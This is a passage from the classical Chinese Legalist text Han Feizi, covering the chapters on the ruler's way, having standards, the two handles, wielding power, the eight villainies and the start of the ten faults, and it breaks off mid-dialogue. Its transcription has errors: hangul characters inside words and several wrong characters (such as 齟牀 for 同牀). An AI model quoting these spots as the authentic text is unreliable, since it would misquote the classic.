去舊去智, 臣乃自備。故有智而不以慮, 使萬物知其處 有行而不以賢, 觀臣下之所因 有勇而不以怒, 使群臣盡其武。是故去智而有明, 去賢而有功, 去勇而有强。群臣守職, 百官有常, 因能而使之, 是謂習常。故曰 寂乎其無位而處, 漻乎莫得其所。明君無爲於上, 群臣竦懼乎下。明君之道, 使智者盡其慮, 而君因以斷事, 故君不窮於智 賢者敕其材, 君因而任之, 故君不窮於能 有功則君有其賢, 有過則臣任其罪, 故君不窮於名。是故不賢而爲賢者師, 不智而爲智者正。臣有其勞, 君有其成功, 此之謂賢主之經也。\n道在不可見, 用在不可知 虛靜無事, 以闇見疵。見而不見, 聞而不聞, 知而不知。知其言以往, 勿變勿更, 以參合閱焉。官有一人, 勿令通言, 則萬物皆盡。函掩其跡, 匿其端, 下不能原 去其智, 絶其能, 下不能意。保吾所以往而稽同之, 謹執其柄而固握之。絶其望, 破其意, 毋使人欲之, 不謹其閉, 不固其門, 虎乃將存。不愼其事, 不掩其情, 賊乃將生。弑其生, 代其所, 人莫不與, 故謂之虎。處其主之側爲姦臣, 聞其主之忒, 故謂之賊。散其黨, 收其餘, 閉其門, 奪其輔, 國乃無虎。大不可量, 深不可測, 同合刑名, 審驗法式, 擅爲者誅, 國乃無賊。是故人主有五壅 臣閉其主曰壅, 臣制財利曰壅, 臣擅行令曰壅, 臣得行義曰壅, 臣得樹人曰壅。臣閉其主, 則主失位 臣制財利, 則主失德 臣擅行令, 則主失制 臣得行義, 則主失名 臣得樹人, 則主失黨。此人主之所耳擅也, 非人臣之所鎰操也。\n人主之道, 靜退以爲寶。不自操事而知拙與巧, 不自計慮而知福與咎。是以不言而善應, 不約而善增。言已應, 則執其契 事已增, 則操其符。符契之所合, 賞罰之所生也。故群臣陳其言, 君以其言授其事, 事以責其功。功當其事, 事當其言則賞 功不當其事, 事不當其言則誅。明君之道, 臣不得陳言而不當。是故明君之行賞也, 瞹乎如時雨, 百姓利其澤 其行罰也, 畏乎如雷霆, 神聖不能解也。故明君無偸賞, 無赦罰。賞偸, 則功臣墮其業, 赦罰, 則姦臣易爲非。是故誠有功, 則雖疏賤必賞 誠有過, 則雖近愛必誅。近愛必誅, 則疏賤者不怠, 而近愛者不驕也。\n有度第六\n國無常强, 無常弱。奉法者强, 則國强, 奉法者弱, 則國弱。荊莊王幷國二十六, 開地三千里 莊王之氓社稷也, 而荊以亡, 齊桓公幷國三十, 啓地三千里 桓公之氓社稷也, 而齊以亡。燕襄王以河爲境, 以薊爲國。襲涿方城, 殘齊平中山。有燕者重, 無燕者輕, 襄王之氓社稷也, 而燕以亡。魏安釐王攻趙救燕, 取地河東 攻盡陶·魏之地 加兵於齊, 私平陸之都 攻韓拔管, 勝於淇下 睢陽之事, 荊軍老而走 蔡·召陵之事, 荊軍破 兵四布於天下, 威行於冠帶之國 安釐王死而魏以亡。故有荊莊·齊桓, 則荊。齊可以霸 有燕襄·魏安釐, 則燕·魏可以强, 今皆亡國者, 其群臣官吏皆務所以亂而不務所以治也。其國亂弱矣, 又皆釋國法而私其外, 則是負薪而救火也, 亂弱甚矣!\n故當今之時, 能去私曲·就公法者, 民安而國治 能去私行·行公法者, 則兵强而敵弱。故審得失有法度之制者, 加以群臣之上, 則主不可欺以詐僞 審得失有權衡之稱者, 以聽遠事, 則主不可欺以天下之輕重。今若以譽進能, 則臣離上而下比周 若以黨擧官, 則民務交而不求用於法。故官之失能者其國亂, 以譽爲賞, 以毁爲罰也, 則好賞惡罰之人, 釋公行, 行私術, 比周以相爲也。忘主外交, 以進其與, 則其下所以爲上者薄矣。交衆·與多, 外內朋黨, 雖有大過, 其蔽多矣。故忠臣危死於非罪, 姦邪之臣安利於無功。忠臣危死而不以其罪, 則良臣伏矣 姦邪之臣安利不以功, 則姦臣進矣 此亡之本也。若是, 則群臣廢法而行私重, 輕公法矣。數至能人之門, 不壹至主之廷 百慮私家之便, 不壹圖主之國。屬數雖多, 非所以尊君也 百官雖具, 非所以任國也。然則主有人主之名, 而實託於群臣之家也。故臣曰 亡國之廷無人焉。廷無人者, 非朝廷之衰也。家務相益, 不務厚國 大臣務相尊, 而不務尊君 小臣奉祿養交, 不以官爲事。此其所以然者, 由主之不上斷於法, 而信下爲之也。故明主使法擇人, 不自擧也 使法量功, 不自度也。能者不可弊, 敗者不可飾, 譽者不能進, 非者弗能退, 則君臣之間明辯而易治, 故主讐法則可也。\n賢者之爲人臣, 北面委質, 無有二心。朝廷不敢辭賤, 軍旅不敢辭難 順上之爲, 從主之法, 虛心以待令, 而無是非也。故有口不以私言, 有目不以私視, 而上盡制之。爲人臣者, 譬之若手, 上以修頭, 下以修足 淸暖寒熱, 不得不救入 鏌*야傳體, 不敢弗搏, 無私賢哲之臣, 無私事能之士。故民不越鄕而交, 無百里之慼。貴賤不相踰, 愚智提衡而立, 治之至也。今夫輕爵祿, 易去亡, 以擇其主, 臣不謂廉。詐說逆法, 倍主强諫, 臣不謂忠。行惠施利, 收下爲名, 臣不謂仁。離俗隱居, 而以非上, 臣不謂義。外使諸侯, 內耗其國, 伺其危險之陂, 以恐其主曰 交非我不親, 怨非我不解。 而主乃信之, 國聽之。卑主之名以顯其身, 毁國之厚以利其家, 臣不謂智。此數物者, 險世之說也, 而先王之法所簡也。先王之法曰 臣毋或作威, 毋或作利, 從王之指 毋或作惡, 從王之路。 古者世治之民, 奉公法, 廢私術, 專意一行, 具以待任。\n夫爲人主而身察百官, 則日不足, 力不給。且上用目, 則下飾觀 上用耳, 則下飾聲 上用慮, 則下繁辭。先王以三者爲不足, 故舍己能而因法數, 審賞罰。先王之所守要, 故法省而不侵。獨制四海之內, 聰智不得用其詐, 險躁不得關其佞, 姦邪無所依。遠在千里外, 不敢易其辭 勢在郎中, 不敢蔽善飾非 朝廷群下, 直湊單微, 不敢相踰越。故治不足而日有餘, 上之任勢使然也。\n夫人臣之侵其主也, 如地形焉, 卽漸以往, 使人主失端, 東西易面而不自知。故先王立司南以端朝夕。故明主使其群臣不遊意於法之外, 不爲惠於法之內, 動無非法。法所以凌過遊外私也 嚴刑, 所以遂令懲下也。威不貸錯, 制不共門。威·制共, 則衆邪彰矣 法不信, 則君行危矣 刑不斷, 則邪不勝矣。故曰 巧匠目意中繩, 然必先以規矩爲度 上智捷擧中事, 必以先王之法爲比。故繩直而枉木斲, 準夷而高科削, 權衡縣而重益輕, 斗石設而多益少。故以法治國, 擧措而已矣。法不阿貴, 繩不撓曲。法之所加, 智者弗能辭, 勇者弗敢爭。刑過不避大臣, 賞善不遺匹夫。故矯上之失, 詰下之邪, 治亂決繆, 絀羨齊非, 一民之軌, 莫如法。屬官威民, 退淫殆, 止詐僞, 莫如刑。刑重, 則不敢以貴易賤 法審, 則上尊而不侵, 上尊而不侵, 則主强而守要, 故先王貴之而傳之。人主釋法用私, 則上下不別矣。\n二柄第七\n明主之所導制其臣者, 二柄而已矣。二柄者, 刑德也。何謂刑德? 曰 殺戮之謂刑, 慶賞之謂德。爲人臣者畏誅罰而利慶賞, 故人主自用其刑德, 則群臣畏其威而歸其利矣。故世之姦臣則不然 所惡, 則能得之其主而罪之 所愛, 則能得之其主而賞之 今人主非使賞罰之威利出於已也, 聽其臣而行其賞罰, 則一國之人皆畏其臣而易其君, 歸其臣而去其君矣。此人主失刑德之患也。夫虎之所以能服狗者, 爪牙也。使虎釋其爪牙而使狗用之, 則虎反服於狗矣。人主者, 以刑德制臣者也, 今君人者釋其刑德而使臣用之, 則君反制於臣矣。故田常上請爵祿而行之群臣, 下大斗斛而施於百姓, 此簡公失德而田常用之也, 故簡公見弑。子罕謂宋君曰 夫慶賞賜予者, 民之所喜也, 君自行之 殺戮刑罰者, 民之所惡也, 臣請當之。 於是宋君失刑而子罕用之, 故宋君見劫。田常徒用德而簡公弑。子罕徒用刑而宋君劫。故今世爲人臣者兼刑德而用之, 則是世主之危甚於簡公·宋君也。故劫殺擁蔽之主, 非失刑德而使臣用之, 而不危亡者, 則未嘗有也。\n人主將欲禁姦, 則審合 刑名者, 言與事也。爲人臣者陳而言, 君以其言授之事, 專以其事責其功。功當其事, 事當其言, 則賞 功不當其事, 事不當其言, 則罰。故群臣其言大而功小者則罰, 非罰小功也, 罰功不當名也 群臣其言小而功大者亦罰, 非不說於大功也, 以爲不當名也。害甚於有大功, 故罰。昔者韓昭侯醉而寢, 典冠者見君之寒也, 故加衣於君之上, 覺寢而說, 問左右曰 誰加衣者? 左右答曰 典冠。 君因兼罪典衣殺典冠。其罪典衣, 以爲失其事也 其罪典冠, 以爲越其職也。非不惡寒也, 以爲侵官之害甚於寒。故明主之畜臣, 臣不得越官而有功, 不得陳言而不當。越官則死, 不當則罪。守業其官, 所言者貞也, 則群臣不得朋黨相爲矣。\n人主有二患 任賢, 則臣將乘於賢以劫其君 妄擧, 則事沮不勝。故人主好賢, 則群臣飾行以要君欲, 則是群臣之情不效 群臣之情不效, 則人主無以異其臣矣。故越王好勇而民多輕死 楚靈王好細腰而國中多餓人 齊桓公妬而好內, 故竪刁自宮以治內 桓公好味, 易牙蒸其子首而進之 燕子噲好賢, 故子之明不受國。故君見惡, 則群臣匿端 君見好, 則群臣誣能。人主欲見, 則群臣之情態得其資矣。故子之託於賢以奪其君者也, 竪刁·易牙因君之欲以侵其君者也。其卒子噲以亂死, 桓公蟲流出戶而不葬。此其故何也? 人君以情借臣之患也。人臣之情非必能愛其君也, 爲重利之故也。今人主不掩其情, 不匿其端, 而使人臣有緣以侵其主, 則群臣爲子之·田常不難矣。故曰 去好去惡, 群臣見素。 群臣見素, 則大君不蔽矣。\n揚權第八\n天有大命, 人有大命。夫香美脆味, 厚酒肥肉, 甘口而病形 曼理皓齒, 說情而損精。故去甚去泰, 身乃無害。權不欲見, 素無爲也。事在四方, 要在中央。聖人執要, 四方來效。虛而待之, 彼自以之。四海旣藏, 道陰見陽。左右旣立, 開門而當。勿變勿易, 與二俱行, 行之不已, 是謂履理也。\n夫物者有所宜, 材者有所施, 各處其宜, 故上下無爲。使雞司夜, 令狸執鼠, 皆用其能, 上乃無事。上有所長, 事乃不方。矜而好能, 下之所欺 辯惠好生, 下因其材。上下易用, 國故不治。\n用一之道, 以名爲首, 名正物定, 名倚物徙。故聖人執一以靜, 使名自命, 令事自定。不見其采, 下故素正。因而任之, 使自事之 因而予之, 彼將自擧之 正與處之, 使皆自定之。上以名擧之, 不知其名, 復修其形。形名參同, 用其所生。二者誠信, 下乃貢情。\n謹修所事, 待命於天。毋失其要, 乃爲聖人。聖人之道, 去智與巧, 智巧不去, 難以爲常。民人用之, 其身多殃 主上用之, 其國危亡。因天之道, 反形之理, 督參鞠之, 終則有始。虛以靜後, 未嘗用已。凡上之患, 必同其端 信而勿同, 萬民一從。\n夫道者, 弘大而無形 德者, 覈理而普至。至於群生, 斟酌用之, 萬物皆盛, 而不與其寧。道者, 下周於事, 因稽而命, 與時生死。參名異事, 通一同情。故曰 道不同於萬物, 德不同於陰陽, 衡不同於輕重, 繩不同於出入, 和不同於燥溼, 君不同於群臣。凡此六者, 道之出也。道無雙, 故曰一。是故明君貴獨道之容。君臣不同道, 下以名禱。君操其名, 臣效其形, 形名參同, 上下和調也。\n凡聽之道, 以其所出, 反以爲之入。故審名以定位, 明分以辯類。聽言之道, 溶若甚醉。脣乎齒乎, 吾不爲始乎 齒乎脣乎, 愈惛惛乎。彼自離之, 吾因以知之 是非輻湊, 上不與構。虛靜無爲, 道之情也 參伍比物, 事之形也。參之以比物, 伍之以合虛。根幹不革, 則動泄不失矣。動之溶之, 無爲而改之。喜之, 則多事 惡之, 則生怨。故去喜去惡, 虛心以爲道舍。上不與共之, 民乃寵之 上不與義之, 使獨爲之。上固閉內扃, 從室視庭, 參咫尺已具, 皆 之其處。以賞者賞, 以刑者刑, 因其所爲, 各以自成。善惡必及, 孰敢不信? 規矩旣設, 三隅乃列。\n主上不神, 下將有因 其事不當, 下考其常。若天若地, 是謂累解 若地若天, 孰疏孰親? 能象天地, 是謂聖人。欲治其內, 置而勿親, 欲治其外, 官置一人 不使自恣, 安得移幷? 大臣之門, 唯恐多人。凡治之極, 下不能得。周合刑名, 民乃守職 去此更求, 是謂大惑。猾民愈衆, 姦邪滿側。故曰 毋富人而貸焉, 毋貴人而逼焉 毋專信一人而失其都國焉 腓大於股, 難以趣走。主失其神, 虎隨其後。主上不知, 虎將爲狗。主不蚤止, 狗益無已。虎成其群, 以殺其母。爲主而無臣, 奚國之有? 主施其法, 大虎將怯 主施其刑, 大虎自寧。法刑苟信, 虎化爲人, 復反其眞。\n欲爲其國, 必伐其聚 不伐其聚, 彼將聚衆。欲爲其地, 必適其賜 不適其賜, 亂人求益。彼求我予, 假讐人斧 假之不可, 彼將用之以伐我。黃帝有言曰 上下一日百戰。 下匿其私, 用試其上 上操度量, 以割其下。故度量之立, 主之寶也 黨與之具, 臣之寶也。臣之所不弑其君者, 黨與不具也。故上失扶寸, 下得尋常。有國之君, 不大其都 有道之君, 不貴其家。有道之君, 不貴其臣 貴之富之, 備將代之。備危恐殆, 急置太子, 禍乃無從起。內索出圉, 必身自執其度量。厚者虧之, 薄者靡之。虧靡有量, 毋使民比周, 同欺其上。虧之若月, 靡之若熱。簡令謹誅, 必盡其罰。\n毋弛而弓, 一棲兩雄, 一棲兩雄, 其*착안안。豺狼在牢, 其羊不繁。一家二貴, 事乃無功。夫妻持政, 子無適從。\n爲人君者, 數披其木, 毋使木枝扶疏 木枝扶疏 將塞公閭, 私門將實, 公庭將虛, 主將壅圍。數披其木, 無使木枝外拒 木枝外拒, 將逼主處。數披其木, 毋使枝大本小 枝大本小, 將不勝春風 不勝春風, 枝將害心。公子旣衆, 宗室憂吟。止之之道, 數披其木, 毋使枝茂。木數披, 黨與乃離。掘其根本木乃不神。塡其洶淵, 毋使水淸。探其懷, 奪之威。主上用之, 若電若雷。\n八姦第九\n凡人臣之所道成姦者有八術 一曰齟牀。何謂同牀? 曰 貴夫人, 愛孺子, 便僻好色, 此人主之所惑也。託於燕處之虞, 乘醉飽之時, 而求其所欲, 此必聽之術也。爲人臣者內事之以金玉, 使惑其主, 此之謂同牀。二曰在旁。何謂在旁? 曰 優笑侏儒, 左右近習, 此人主未命而唯唯, 未使而諾諾, 先意承旨, 觀貌察色以先主心者也。此皆俱進俱退, 皆應皆對, 一辭同軌以移主心者也。爲人臣者內事之以金玉玩好, 外爲之行不法, 使之化其主, 此之謂在旁。三曰父兄。何謂父兄? 曰 側室公子, 人主之所親愛也 大臣廷吏, 人主之所與度計也。此皆盡力畢議, 人主之所必聽也。爲人臣者事公子側室以音聲子女, 收大臣廷吏以辭言, 處約言事, 事成則進爵益祿, 以勸其心, 使犯其主。此之謂父兄。四曰養殃。何謂養殃? 曰 人主樂美宮室臺池, 好飾子女狗馬以娛其心, 此人主之殃也。爲人臣者盡民力以美宮室臺池, 重賦歛以飾子女狗馬, 以娛其主而亂其心, 從其所欲, 而樹私利其間, 此謂養殃。五曰民萌。何謂民萌? 曰 爲人臣者散公財以說民人, 行小惠以取百姓, 使朝廷巿井皆勸譽已, 以塞其主而成其所欲, 此之謂民萌。六曰流行。何謂流行? 曰 人主者, 固壅其言談, 希於聽論議, 易移以辯說。爲人臣者求諸侯之辯士, 養國中之能說者, 使之以語其私。爲巧文之言, 流行之辭, 示之以利勢, 懼之以患害, 施屬虛辭以壞其主, 此之謂流行。七曰威强。何謂威强? 曰 君人者, 以群臣百姓爲威强者也。群臣百姓之所善, 則君善之 非群臣百姓之所善, 則君不善之。爲人臣者, 聚帶劍之客, 養必死之士, 以彰其威, 明爲己者必利, 不爲己者必死, 以恐其群 臣百姓而行其私, 此之謂威强。八曰四方。何謂四方? 曰 君人者, 國小, 則事大國 兵弱, 則畏强兵。大國之所索, 小國必聽 强兵之所加, 弱兵必服。爲人臣者, 重賦斂, 盡府庫, 虛其國以事大國, 而用其威求誘其君 甚者擧兵以聚邊境而制斂於內, 薄者數內大使以震其君, 使之恐懼, 此之謂四方。凡此八者, 人臣之所爾成姦, 世主所以壅劫, 失其所有也, 不可不察焉。\n明君之於內也, 娛其色而不行其謁, 不使私請。其於左右也, 使其身必責其言, 不使益辭。其於父兄大臣也, 聽其言也必使以罰任於後, 不令妄擧。其於觀樂玩好也, 必令之有所出, 不使擅進, 不使擅退, 群臣虞其意。其於德施也, 縱禁財, 發墳倉, 利於民者, 必出於君, 不使人臣私其德。其於說議也, 稱譽者所善, 毁疵者所惡, 必實其能, 察其過, 不使群臣相爲語。其於勇力之士也, 軍旅之功無踰賞, 邑之勇無赦罪, 不使群臣行私財。其於諸侯之求索也, 法則聽之, 不法則距之。則謂亡君者, 非莫有其國也, 而有之者, 皆非己有也。令臣以外爲制於內, 則是君人者亡也。聽大國爲救亡也, 而亡亟於不聽, 故不聽。群臣知不聽, 則不外諸侯, 諸侯之不聽, 則不受臣之誣其君矣。\n明主之爲官職爵祿也, 所以進賢材勸有功也。故曰 賢材者處厚祿任大官 功大者有尊爵, 受重賞。官賢者量其能, 賦祿者稱其功。是以賢者不誣能以事其主, 有功者樂進其業, 故事成功立, 今則不然, 不課賢不肖, 論有功勞, 用諸侯之重, 聽左右之謁, 父兄大臣上請爵祿於上, 而下賣之以收財利及以樹私黨。故財利多者買官以爲貴, 有左右之交者請謁以成重。功勞之臣不論, 官職之遷失謬。是以吏偸官而外交, 棄事而財親。是以賢者懈怠而不勸, 有功者隳而簡其業, 此亡國之風也。\n十過第十\n十過 一曰·行小忠, 則大忠之賊也。二曰·顧小利, 則大利之殘也。三曰·行僻自用, 無禮諸侯, 則亡身之至也。四曰·不務聽治而好五音, 則窮身之事也。五曰·貪愎喜利, 則滅國殺身之本也。六曰· 耽於女樂, 不顧國政, 則亡國之禍也。七曰·離內遠遊而忽於諫士, 則危身之道也。八曰·過而不聽於忠臣, 而獨行其意, 則滅高名爲人笑之始也。九曰·內不量力, 外恃諸侯, 則削國之患也。十曰·國小無禮, 不用諫臣, 則絶世之勢也。\n奚謂小忠? 昔者楚共王與晉厲公戰於鄢陵, 楚師敗, 而共王傷其目。酣戰之時, 司馬子反渴而求飮, 竪穀陽操觴酒而進之。子反曰 嘻!, 退, 酒也。 陽曰 非酒也。 子反受而飮之。子反之爲人也, 嗜酒而甘之, 弗能絶於口, 而醉戰其罷。共王欲復戰, 令人昭司馬子反, 司馬子反辭以必疾, 共王駕而自往, 入其幄中, 聞酒臭而還, 曰 今日之戰, 不穀親傷。所恃者, 司馬也, 而司馬又醉如此, 是亡楚國之社稷而不恤吾衆也。不穀無與復戰矣。 於是還師而去, 斬司馬子反以爲大戮。故豎穀陽之進酒, 不以讐子反也, 其心忠愛之而適足以殺之。故曰 行小忠, 則大忠之賊也。\n奚謂顧小利? 昔者晉獻公欲假道於虞以伐虢。荀息曰 君其以垂棘之璧與屈産之乘, 賂虞公, 求假道焉, 必假我道。 君曰 垂棘之璧, 吾先君之寶也 屈産之乘, 寡人之駿馬也。若受吾幣不假之道, 將奈何? 荀息曰 彼不假我道, 必不敢受我幣。若受我幣而假我道, 則是寶猶取之內府而藏之外府也, 馬猶取之內廐而著之外廐也。君勿憂。 君曰 諾。 乃使荀息以垂棘之璧與屈産之乘賂虞公而求假道焉。虞公貪利其璧與馬而欲許之。宮之奇諫曰 不可許。夫虞之有虢也, 如車之有輔。輔依車, 車亦依輔, 虞·虢之勢正是也。若假之道, 則虢朝亡而虞夕從之矣。不可, 願勿許。 虞公弗聽, 逐假之道。荀息伐虢之還。反處三年, 興兵伐虞, 又剋之。荀息牽馬操璧而報獻公, 獻公說曰 璧則猶是也。雖然, 馬齒亦益長矣。 故虞公之兵殆而地削者, 何也? 愛小利而不慮其害。故曰 顧小利, 則大利之殘也。\n奚謂行僻? 昔者楚靈王爲申之會, 宋太子後至, 執而囚之 狎徐君 拘齊慶封。中射士諫曰 合諸侯不可無禮, 此存亡之機也。昔者桀爲有戎之會, 而有緡叛之 紂爲黎丘之蒐, 而戎狄叛之 由無禮也。君其圖之。 君不聽, 遂行其意。居未期年, 靈王南遊, 君臣從而劫之。靈王餓而死乾溪之上。故曰 行僻自用, 無禮諸侯, 則亡身之至也。\n奚謂好音? 昔者衛靈公將之晉, 至濮水之上, 稅車而放馬, 設舍以宿。夜分, 而聞鼓新聲者而說之。使人問左右, 盡報弗聞。乃召師涓而告之, 曰 有鼓新聲者, 使人問左右, 盡報弗聞。其狀似鬼神, 子爲我聽而寫之。 師涓曰 諾。 因靜坐撫琴而寫之。師涓明日報曰 臣得之矣, 而未習也, 請復一宿習之。靈公曰 諾。 因復留宿。明日而習之, 遂去之晉。晉平公觴之於施夷之臺。酒酣, 靈公起曰 有新聲, 願請以示。 平公曰 善。 乃召師涓, 令坐師曠之旁, 援琴鼓之。未終, 師曠撫止之, 曰 此亡國之聲, 不可遂也。 平公曰 此道奚出? 師曠曰 此師延之所作, 與紂爲靡靡之樂也, 及武王伐紂, 師延東走, 至於濮水而自投。故聞此聲者, 必於濮水之上。先聞此聲者, 其國必削, 不可遂。 平公曰 寡人所好者, 音也, 子其使遂之。 師涓鼓究之。平公問師曠曰 此所謂何聲也? 師曠曰 此所謂淸商也。 公曰 淸商固最悲乎? 師曠曰 不如淸徵。 公曰 淸徵可得而聞乎? 師曠曰 不可。古之聽淸徵者, 皆有德義之君也。今吾君德薄, 不足以聽。 平公曰 寡人之所好者, 音也, 願試聽之。 師曠不得已, 援琴而鼓。一奏之, 有玄鶴二八, 道南方來, 集於郎門之垝。再奏之而列。三奏之, 延頸而鳴, 舒翼而舞, 音中宮商之聲, 聲聞於天。平公大說, 坐者皆喜。平公提觴而起爲師曠壽, 反坐而問曰 音莫悲於淸徵乎? 師曠曰 不如淸角。 平公曰 淸角可得而聞乎? 師曠曰 不可。昔者黃帝合鬼神於西泰山之上, 駕象車而六蛟龍, 畢方竝鎋, 蚩尤居前, 風伯進掃, 雨師灑道, 虎狼在前, 鬼神在後, 騰蛇伏地, 鳳皇覆上, 大合鬼神, 作爲淸角。今主君德薄, 不足聽之。聽之, 將恐有敗。 平公曰 寡人老矣, 所好者音也, 願遂聽之。 師曠不得已而鼓之。一奏而有玄雲從西北方起 再奏之, 大風至, 大雨隨之, 裂帷幕, 破俎豆, 隳廊瓦。坐者散走, 平公恐懼於廊室之間。晉國大旱, 赤地三年。平公之身遂癃病。故曰 不務聽治, 而好五音不已, 則窮身之事也。\n奚謂貪愎? 昔者智伯瑤率趙·韓·魏而伐范·中行, 滅之。反歸, 休兵數年。因令人請地於韓。韓康子欲勿與, 段規諫曰 不可不與也。夫知伯之爲人也, 好利而驁愎。彼來請地而弗與, 則移兵於韓必矣。君其與之。與之彼狃, 又將請地他國。他國且有不聽, 不聽, 則知伯必加之兵。如是, 韓可以免於患而待其事之變。 康子曰 諾。 因令使者致萬家之縣一於知伯。知伯說, 又令人請地於魏。宣子欲勿與, 趙葭諫曰 彼請地於韓, 韓與之。今請地於魏, 魏弗與, 則是魏內自强, 而外怒知伯也。如弗予, 其措兵於魏必矣。 宣子 諾。 因令人致萬家之縣一於知伯。知伯又令人之趙, 請蔡皐狼之地, 趙襄子弗與。知伯因陰約韓·魏將以伐趙。襄子召張孟談而告之曰 夫知伯之爲人也, 陽規而陰疏。三使韓·魏而寡人不與焉, 其措兵於寡人必矣。今吾安居而可? 張孟談曰 夫董關於, 簡主之才臣也, 其治晉陽, 而尹鐸循之, 其餘敎猶存, 君其定居晉陽而已矣。 君曰 諾。 乃召延陵生, 令將軍車騎先至晉陽, 君因從之。君至, 而行其城郭及五官之藏。城郭不治, 倉無積粟, 府無儲錢, 庫無甲兵, 邑無守具。襄子懼。乃召張孟談曰 寡人行城郭及五官之藏, 皆不備具, 吾將何以應敵? 張孟談曰 臣聞聖人之治, 藏於臣, 不藏於府庫, 務修其敎不治城郭。君其出令, 令民自遺三年之食, 有餘粟者入之倉 遺三年之用, 有餘錢者入之府 遺有奇人者, 使治城郭之繕。 君夕出令, 明日, 倉不容粟, 府無積錢。庫不受甲兵。居五日而城郭已治, 守備已具。君召張孟談而問之曰 吾城郭已治, 守備已具。錢粟已足, 甲兵有餘。吾奈無箭何? 張孟談曰 臣薄子之治晉陽也, 公宮之垣皆以荻蒿楛楚牆之, 其高至於丈。君發而用之。 於是發而試之, 其堅則雖菌幹之勁弗能過也。君曰 吾箭已足矣, 奈無金何? 張孟談曰 臣薄子之治晉陽也, 公宮公舍之堂, 皆以鍊銅爲柱質。君發而用之。 於是發而用之, 有餘金矣。號令已定, 守備已具。三國之兵果至。至則乘晉陽之城, 遂戰。三月弗能拔。因舒軍而圍之, 決晉陽之水以灌之。圍晉陽三年。城中巢居而處, 懸釜而炊, 財食將盡, 士大夫羸病。襄子謂張孟談曰 糧食匱, 財力盡, 士大夫羸病, 吾恐不能守矣!欲以城下, 何國之可下? 張孟談曰 臣聞之, 亡弗能存, 危弗能安, 則無爲貴智矣。君失此計者。臣請試潛行而出, 見韓·魏之君。 張孟談見韓·魏之君曰 臣聞脣亡齒寒。今知伯率二君而伐趙, 趙將亡矣。趙亡, 則二君爲之次。 二君曰 我知其然也。雖然, 知伯之爲人也麤中而少親。我謀而覺, 則其禍必至矣。爲之奈何? 張孟談曰 謀出二君之口而入臣之耳, 人莫之知也。 二君因與張孟談約三軍之反, 與之期日。夜遣孟談入晉陽, 以報二君之反。襄子迎孟談而再拜之, 且恐且喜。二君以約遣張孟談, 因朝知伯而出, 遇智過於轅門之外。智過怪其色, 因入見知伯曰 二君貌將有變。 君曰 何如? 曰 其行矜而意高, 非他時之節也, 君不如先之。 君曰 吾與二主約謹矣, 破趙而三分其地, 寡人所以親之, 必不侵欺。兵之著於晉陽三年, 今旦暮將拔之而嚮其利, 何乃將有他心? 必不然。子釋勿憂, 勿出於口。 明旦, 二主又朝而出, 復見智過於轅門。智過入見曰 君以臣之言告二主乎? 君曰 何以知之? 曰 今日二主朝而出, 見臣而其色動, 而視屬臣。此必有變, 君不如殺之。 君曰 子置勿復言。 智過曰 不可, 必殺之。若不能殺, 遂親之。 君曰 親之奈何? 智過曰 魏宣子之謀臣曰趙葭, 韓康子之謀臣曰段規, 此皆能移其君之計。君與其二君約, 破趙國, 因封二子者各萬家之縣一。如是, 則二主之心可以無變矣。 知伯曰 破趙而三分其地, 又封二子者各萬家之縣一, 則吾所得者少。不可。 智過見其言之不聽也, 出, 因更其族爲輔氏。至於期日之夜, 趙氏殺其守隄之吏而決其水灌知伯軍。知伯軍救水而亂, 韓·魏翼而擊之, 襄子將卒犯其前, 大敗知伯之軍而擒知伯。知伯身死軍破, 國分爲三, 爲天下笑。故曰 貪愎好利, 則滅國殺身之本也。\n奚謂耽於女樂? 昔者戎王使由余聘於秦, 穆公問之曰 寡人嘗楣而未得目見之也, 願聞古之明主得國失國何常以? 由余對曰 臣嘗得聞之矣, 常以儉得之, 以奢失之。 穆公曰 寡人不辱而問道於子, 子以儉對寡人何也? 由余對曰 臣聞昔者堯有天下, 飯於土簋, 飮於土鉶。其地南至交趾, 北至 幽都, 東西至日月之所出入者, 莫不賓服。堯禪天下, 虞舜受之, 作爲食器, 斬山木而財之, 削鋸修其迹, 流漆墨其上, 輸之於宮以爲食器。諸侯以爲益侈, 國之不服者十三。舜禪天下而傳之於禹, 禹作爲祭器, 墨漆其外, 而朱畵其內, 縵帛爲茵, 蔣席頗緣, 觴酌有采, 而樽俎有飾。此彌侈矣, 而國之不服者三十三。夏後氏沒, 殷人受之, 作爲大路, 而建九旒食器雕琢, 觴酌刻鏤, 四壁堊墀, 茵席雕文。此彌侈矣, 而國之不服者五十三。君子皆知文章矣, 而欲服者彌少。臣故曰 儉其道也。 由余出, 公乃召內史廖而告之, 曰 寡人聞鄰國有聖人, 敵國之憂也。今由余, 聖人也, 寡人患之, 吾將奈何? 內史廖曰 臣聞戎王之居, 僻陋而道遠, 未聞中國之聲。君其遣之女樂, 以亂其政, 而後爲由余請期, 以疏其諫。彼君臣有間而後可圖也。 君曰 諾。 乃使史廖以女樂二八遺戎王, 因爲由余請期。戎王許諾, 見其女樂而說之, 設酒張飮, 日以聽樂, 終歲不遷, 牛馬半死。由余歸, 因諫戎王, 戎王弗聽, 由余遂去之秦。秦穆公迎而拜之上卿, 問其兵勢與其地形。旣鎰之擧兵而伐之, 兼國十二, 開地千里。故曰 耽於女樂, 不顧國政, 亡國之禍也。\n奚謂離內遠遊? 昔者田成子遊於海而樂之。號令諸大夫曰 言歸者死。 顔涿聚曰 君遊海而樂之, 奈臣有圖國者何? 君雖樂之, 將安得。 田成子曰 寡人布令曰'言歸者死', 今子犯寡人之令。 援戈將擊之。顔涿聚曰 昔桀殺關龍逢而紂殺王子比干, 今君雖殺臣之身以三之可也。臣言爲國, 非爲身也。 延頸而前曰 君擊之矣! 君乃釋戈趣駕而歸。至三日, 而聞國人有謀不內田成子者矣。田成子所以遂有齊國者, 顔涿聚之力也。故曰 離內遠遊, 則危身之道也。\n奚謂過而不聽於忠臣? 昔者齊桓公九合諸侯, 一匡天下, 爲五伯長, 管仲佐之。管仲老, 不能用事, 休居於家。桓公從而問之曰 仲父家居有病, 卽不幸而不起, 政安遷之? 管仲曰 臣老矣, 不可問也。雖然, 臣聞之, 知臣莫若君, 知子莫若父。君其試以心決之。 君曰 鮑叔牙何如? 管仲曰 不可。鮑叔牙爲人, 剛愎而上悍。剛則犯民以暴, 愎則不得民心, 悍則下不爲用。其心不懼, 非霸者之佐也。 公曰 然則竪刁何如? 管仲曰 不可。夫人之情莫不愛其身。公妬而好內, 竪刁自獖以爲治內。其身不愛, 又安能愛君? 曰 然, 則衛公子開方何如? 管仲曰 不可。齊·衛之間不過十日之行, 開方爲事君, 欲適君之故, 十五年不歸見其父母, 此非人情也。其父母之不親也, 又能親君乎? 公曰 然則易牙何如? 管仲曰 